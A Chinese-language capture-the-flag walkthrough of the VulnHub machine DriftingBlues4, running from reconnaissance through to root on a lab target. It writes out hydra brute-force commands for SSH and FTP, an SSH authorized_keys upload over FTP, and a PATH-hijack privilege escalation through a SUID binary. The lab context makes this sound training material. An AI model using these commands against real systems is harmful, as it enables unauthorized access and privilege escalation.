运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:driftingblues4(10.0.2.20)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/driftingblues-4,661/
使用nmap主机发现靶机ip:10.0.2.20
使用nmap端口扫描发现靶机开放端口:21、22、80
打开网站没有可利用的功能点,并且使用dirsearch
爆破目录也没爆破出来,查看源码,发现使用base64算法加密的隐藏数据
最终经过解码得到:/imfuckingmad.txt
访问该路径,得到一串使用Brainfuck加密的数据
解密得到:man we are a tech company and still getting hacked??? what the shit??? enough is enough!!! ###### /iTiS3Cr3TbiTCh.png
访问/iTiS3Cr3TbiTCh.png
,发现图片是一个二维码,使用QR_Research
工具识别得到一个网站,但无法访问,需要科学上网
得到一些用户名,将这些用户名构造字典,尝试使用hydra工具对ssh和ftp进行暴力破解
luther
gary
Hubert
clark
#爆破ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.0.2.20 ssh
#爆破ftp
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.0.2.20 ftp -t 64
爆破ssh失败提示不支持密码验证
爆破ftp成功得到用户名密码:luther/mypics
登录ftp,查看有什么可以利用的文件,发现sync_log文件和hubert文件夹
下载sync_log查看,是一个日志文件无法利用;而hubert文件夹是一个空文件夹
额,暂时没有思路了,瞄了一眼大佬的wp
hubert
的uid与其他不一样是1001
,这可能是一个用户文件夹,正好之前的用户字典里有一个Hubert
,可以尝试上传ssh公钥获取shell
在本地创建ssh公钥和私钥对,将公钥文件另存为 authorized_keys
cat id_rsa.pub > authorized_keys
将authorized_keys
文件上传到/hubert/.ssh
目录下,使用创建的私钥登录ssh
靶机执行
cd hubert
mkdir .ssh
cd .ssh
put authorized_keys
攻击机执行
chmod 600 id_rsa
ssh -i id_rsa hubert@10.0.2.20
使用sudo -l
命令查看有什么特权命令,发现没有
使用find / -perm -u=s -type f 2>/dev/null
命令查看有什么可利用的具有root权限的文件,发现可疑文件/usr/bin/getinfo
执行该文件,发现该文件调用了命令ip,可以通过替换ip命令进行提权
替换ip命令,再执行/usr/bin/getinfo
获取root权限
cd /tmp
echo '/bin/bash' > ip
chmod +x ip
export PATH=/tmp:$PATH
获取flag